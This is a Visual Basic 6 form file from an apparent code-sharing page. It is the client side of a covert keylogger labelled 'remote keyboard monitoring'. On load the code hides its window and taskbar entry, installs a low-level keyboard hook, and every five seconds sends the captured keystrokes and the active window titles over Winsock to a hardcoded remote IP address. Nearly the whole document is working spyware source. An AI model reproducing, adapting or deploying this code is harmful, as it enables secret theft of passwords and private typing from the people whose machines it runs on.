📄 form1.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1
Caption = "远程键盘监控客户端"
ClientHeight = 5235
ClientLeft = 60
ClientTop = 450
ClientWidth = 9045
LinkTopic = "Form1"
ScaleHeight = 5235
ScaleWidth = 9045
StartUpPosition = 3 '窗口缺省
Begin MSWinsockLib.Winsock Winsock1
Left = 8040
Top = 120
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.TextBox Text1
Height = 3975
Left = 120
MultiLine = -1 'True
ScrollBars = 2 'Vertical
TabIndex = 1
Top = 600
Width = 8775
End
Begin VB.Timer Timer1
Interval = 5000
Left = 8520
Top = 120
End
Begin VB.Label Label5
Caption = "Label5"
Height = 255
Left = 6360
TabIndex = 5
Top = 4800
Width = 2415
End
Begin VB.Label Label4
Caption = "服务器端IP:"
Height = 255
Left = 4920
TabIndex = 4
Top = 4800
Width = 1095
End
Begin VB.Label Label3
Caption = "当前状态"
Height = 255
Left = 120
TabIndex = 3
Top = 4800
Width = 855
End
Begin VB.Label Label2
Caption = "Label2"
Height = 255
Left = 1200
TabIndex = 2
Top = 4800
Width = 2295
End
Begin VB.Label Label1
Caption = "Label1"
Height = 255
Left = 120
TabIndex = 0
Top = 120
Width = 8775
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Dim hWnd1 As Long
Private Sub form_Load()
'KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"
Me.Hide
App.TaskVisible = False
Module1.ints '初始化数据
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
Winsock1.RemoteHost = "219.217.50.63"
'Winsock1.LocalPort = 1008
Winsock1.RemotePort = 2000
Winsock1.Connect
End Sub
'根据窗口句柄得到该窗口的标题
Function getCaption(hWnd As Long)
Dim hWndlength As Long, hWndTitle As String, A As Long
hWndlength = GetWindowTextLength(hWnd)
hWndTitle = String$(hWndlength, 0)
A = GetWindowText(hWnd, hWndTitle, (hWndlength + 1))
getCaption = hWndTitle
End Function
Private Sub Timer1_Timer()
hWnd1 = GetForegroundWindow() '得到活动窗口的句柄
Label1.Caption = getCaption(hWnd1)
Label2.Caption = Winsock1.State
Text1.Text = Text1.Text + vbLf + Label1.Caption + vbLf + Space(3) + Module1.appStr + vbCrLf
If Winsock1.State <> 7 Then
Winsock1.Close
Winsock1.Connect
End If
If Winsock1.State = 7 Then
Winsock1.SendData Text1.Text
End If
Text1.Text = ""
Select Case Winsock1.State
Case 0: Label2.Caption = "0-关闭"
Case 1: Label2.Caption = "1-打开"
Case 6: Label2.Caption = "6-正在连接"
Case 7: Label2.Caption = "7-已连接"
Case 9: Label2.Caption = "9-错误"
End Select
Module1.ints
Label5.Caption = Winsock1.RemoteHostIP
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -